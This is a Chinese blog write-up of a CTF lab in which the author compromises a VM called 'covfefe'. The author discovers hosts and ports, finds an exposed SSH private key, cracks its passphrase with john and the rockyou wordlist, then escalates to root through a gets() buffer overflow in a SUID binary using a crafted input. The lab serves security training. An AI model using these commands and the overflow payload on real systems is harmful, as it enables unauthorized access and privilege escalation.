CTF训练 SSH服务(1)

本文详细介绍了一次完整的渗透测试过程,包括网络探测、主机连通性测试、端口扫描、隐藏文件探测、SSH登录及权限提升等关键步骤。通过具体案例演示了如何利用Kali Linux中的工具如Netdiscover、Nmap、Dirb、John the Ripper等进行有效的攻击面分析和漏洞利用。

**

一、探测靶场地址

探测之前要注意攻击机的网络连接模式是桥接模式。关于虚拟机的网络模式的选择的原因。
**

root@kali:~# netdiscover -r 192.168.1.1/24

在这里插入图片描述
这里解释一下:

  1. Netdiscover是一个主动/被动的ARP侦查工具。该工具在不使用DHCP的无线网络上非常有用。使用Netdiscover工具可以在网络上扫描IP地址,ARP侦查工具Netdiscover检查在线主机或搜索为它们发送的ARP请求。用来发现局域网中的主机。
    2.DHCP(Dynamic Host Configuration Protocol,动态主机配置协议)通常被应用在大型的局域网络环境中,主要作用是集中的管理、分配IP地址,使网络环境中的主机动态的获得IP地址、Gateway地址、DNS服务器地址等信息,并能够提升地址的使用率。
    DHCP协议采用客户端/服务器模型,主机地址的动态分配任务由网络主机驱动。当DHCP服务器接收到来自网络主机申请地址的信息时,才会向网络主机发送相关的地址配置等信息,以实现网络主机地址信息的动态配置。

**

二、测试主机与靶场的连通性

**

root@kali:~# ping  

在这里插入图片描述
以上证明两个机器之间已经联通,之后我们进行实验。
**

三、端口扫描

**

在这里插入图片描述

root@kali:~# nmap -sV 192.168.1.107
root@kali:~# nmap -sV 192.168.1.107
扫描结果:
Starting Nmap 7.25BETA1 ( https://nmap.org ) at 2019-07-04 21:37 CST
Nmap scan report for 192.168.1.107
Host is up (0.00013s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10 (protocol 2.0)
80/tcp    open  http    nginx 1.10.3
31337/tcp open  http    Werkzeug httpd 0.11.15 (Python 3.5.3)
MAC Address: 08:00:27:50:7F:AC (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.79 seconds

**

四、分析探测结果

**
在这里插入图片描述

在这里插入图片描述

http://192.168.1.107:31337/

查看页面源代码,没有获得信息。

**

五、探测隐藏文件

**

root@kali:~# dirb http://192.168.1.107:31337/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Fri Jul  5 17:25:10 2019
URL_BASE: http://192.168.1.107:31337/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.1.107:31337/ ----
+ http://192.168.1.107:31337/.bash_history (CODE:200|SIZE:19)                                                                                       
+ http://192.168.1.107:31337/.bashrc (CODE:200|SIZE:3526)                                                                                           
+ http://192.168.1.107:31337/.profile (CODE:200|SIZE:675)                                                                                           
+ http://192.168.1.107:31337/.ssh (CODE:200|SIZE:43)                                                                                                
+ http://192.168.1.107:31337/robots.txt  (CODE:200|SIZE:70)                                                                                          
                                                                                                                                                    
-----------------
END_TIME: Fri Jul  5 17:25:24 2019
DOWNLOADED: 4612 - FOUND: 5

可以看到五个搜索结果。
首先我们打开敏感文件(robot.txt):

User-agent: *
Disallow: /.bashrc
Disallow: /.profile
Disallow: /taxes

打开敏感文件,得到flag值:
在这里插入图片描述在这里插入图片描述查到私钥,公钥文件。在这里我们不需要下载公钥,因为公钥是存在服务器上的。

**

六、登陆ssh

**

root@kali:~# cd 桌面/
root@kali:~/桌面# ls -alh
总用量 16K
drwxr-xr-x  2 root root 4.0K 7月   5 17:32 .
drwxr-xr-x 29 root root 4.0K 7月   5 17:32 ..
-r--------  1 root root  395 7月   5 17:32 authorized_keys
-r--------  1 root root 1.8K 7月   5 17:31 id_rsa
root@kali:~/桌面# chmod 777 id_rsa 
root@kali:~/桌面# 
文件名赋权限,用私钥登陆ssh服务。

有了私钥之后,我们登陆还需要密码:

root@kali:~/桌面# ssh -i id_rsa  simon@192.168.1.107
The authenticity of host '192.168.1.107 (192.168.1.107)' can't be established.
ECDSA key fingerprint is SHA256:5Tmg/FD7Iga/sFY/1z4etq44S8/bmokfg3R3VyjHtVM.
Are you sure you want to continue connecting (yes/no)? y
Please type 'yes' or 'no': yes
Warning: Permanently added '192.168.1.107' (ECDSA) to the list of known hosts.
Enter passphrase for key 'id_rsa': 

破解ssh私钥:
在这里插入图片描述

root@kali:~/桌面# ssh2john id_rsa  >tsacrack   //转化为john可识别信息。
root@kali:~/桌面# ls -al
总用量 20
drwxr-xr-x  2 root root 4096 7月   5 17:44 .
drwxr-xr-x 29 root root 4096 7月   5 17:32 ..
-r--------  1 root root  395 7月   5 17:32 authorized_keys
-rw-------  1 root root 1766 7月   5 17:31 id_rsa
-rw-r--r--  1 root root 3553 7月   5 17:46 tsacrack         //转化完毕
root@kali:~/桌面# zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules tsacrack  //进行解密
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA 32/64])
Press Ctrl-C to abort, or send SIGUSR1 to john process for status
starwars         (id_rsa )  //解密结果
1g 0:00:00:00  9.090g/s 6081p/s 6081c/s 6081C/s starwars
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:~/桌面# ssh -i id_rsa  simon@192.168.1.107  //登陆ssh
Enter passphrase for key 'id_rsa': 
Linux covfefe 4.9.0-3-686 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26) i686

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
simon@covfefe:~$ 
simon@covfefe:~$ pwd   //pwd命令pwd是Print Working Directory的缩写,其功能是显示当前所在工作目录的全路径。主要用在当不确定当前所在位置时,通过pwd来查看当前目录的绝对路径。
/home/simon
simon@covfefe:~$ ls
http_server.py  robots.txt
simon@covfefe:~$ cd /root  //  /root 目录是root用户在别的用户上创建的目录,别的用户不具有root权限无法访问/
simon@covfefe:/root$ ls
flag.txt  read_message.c
simon@covfefe:/root$ cat flag.txt
cat: flag.txt: Permission denied
simon@covfefe:/root$ find / -perm -4000 2>/dev/null  //找具有root执行权限的文件
/usr/bin/chsh
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/local/bin/read_message    //此文件跟root下的read_message.c类似,我们查看一下。
/bin/umount
/bin/su
/bin/mount
/bin/ping
simon@covfefe:/root$ cat read_message.c 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// You're getting close! Here's another flag:
// flag2{use_the_source_luke}

int main(int argc, char *argv[]) {
    char program[] = "/usr/local/sbin/message";
    char buf[20];        //根据缓冲区溢出。
    char authorized[] = "Simon";

    printf("What is your name?\n");
    gets(buf);

    // Only compare first five chars to save precious cycles:
    if (!strncmp(authorized, buf, 5)) {
        printf("Hello %s! Here is your message:\n\n", buf);
        // This is safe as the user can't mess with the binary location:
        execve(program, NULL, NULL);
    } else {
        printf("Sorry %s, you're not %s! The Internet Police have been informed of this violation.\n", buf, authorized);
        exit(EXIT_FAILURE);
    }

}
simon@covfefe:/root$ read_message
What is your name?
simonAAAAAAAAAAAAAAA/bin/sh
Sorry simonAAAAAAAAAAAAAAA/bin/sh, you're not Simon! The Internet Police have been informed of this violation.
simon@covfefe:/root$ read_message
What is your name?
SimonAAAAAAAAAAAAAAA/bin/sh
Hello SimonAAAAAAAAAAAAAAA/bin/sh! Here is your message:

# pwd             //进入root目录下。
/root
# cat flag.txt
You did it! Congratulations, here's the final flag:
flag3{das_bof_meister}
# 

小结:

netdiscover -r  192.168.1.1/24  //扫描局域网内存活的主机
ping  192.168.1.107 //测试连通性
dirb http://192.68.1.107:31337//查看隐藏目录
ssh  -i  私钥  用户名@ip地址  //登陆ssh 
ssh2john 私钥文件 > isacrack //将私钥文件转化为john可识别文件。
zcat /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules tsacrack  //进行解密  
第一个文件是kali自带的字典。
pwd //查看当前路径 
find / -perm -4000 2>/dev/null

或者

find  /home -user root -ls

linux中 /dev/null命令

禁止标准错误


[root@zhoucentos log]# rm filename1 
rm: 无法删除"filename1": 没有那个文件或目录
[root@zhoucentos log]# rm filename1 2>/dev/null


find / -perm -4000 2>/dev/null的命令解释。

find / -perm -4000 2>/dev/null的命令解释

### CTF竞赛概述 CTF(Capture The Flag)竞赛是一种在网络空间安全领域广泛开展的技术比赛形式,旨在通过模拟真实环境中的攻击与防御场景来提升参与者的技能水平。这类竞赛不仅是学习和实践网络安全技术的有效途径,同时也是检验个人或团队技术水平的重要平台。 #### CTF竞赛的主要赛制分类 CTF竞赛通常分为三种主要赛制:解题模式(Jeopardy)、攻防模式(Attack-Defense),以及混合模式(Mix)。 - **解题模式**:参赛者需解决一系列涉及逆向工程、密码学、渗透测试等问题的任务,每完成一项任务即可获得相应分数[^2]。这种模式注重理论知识的应用能力。 - **攻防模式**:各支队伍被分配到独立运行的服务实例上,在保护自己服务免受其他队伍攻击的同时尝试入侵对方服务器并窃取标志文件(flag)。此过程强调实时操作能力和快速响应机制的重要性。 - **混合模式**:综合了解题与攻防两种形式的优点,例如先通过解题获取基础积分再进入对抗阶段调整总成绩排名情况等设置方法。像 iCTF 这样的国际赛事就采用了此类综合性更强的比赛规则设计思路。 #### 如何参与CTF竞赛? 对于初学者来说,可以从以下几个方面着手准备加入CTF活动当中去: 1. 学习基础知识:熟悉计算机网络原理、操作系统基本概念、编程语言特性等方面的知识体系构建起扎实的地基; 2. 掌握工具使用技巧:熟练运用诸如Wireshark抓包分析软件、Burp Suite网页漏洞扫描插件之类的实用型辅助程序提高工作效率; 3. 积累实践经验:积极参与线上练习平台上的题目挑战或者报名线下举办的各类小型友谊性质交流会积累实际动手经验;可以通过访问专门提供在线刷题功能的网站来进行日常训练[^4]; 4. 加入社区讨论群组:与其他志同道合的朋友一起分享心得感悟共同进步成长往往能够事半功倍达到理想效果。 ```python # 示例代码展示如何连接远程SSH服务进行端口探测 import paramiko def ssh_connect(ip, port=22): try: client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(ip, port) print(f"Successfully connected to {ip} on port {port}") except Exception as e: print(e) ssh_connect('example.com', 2222) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值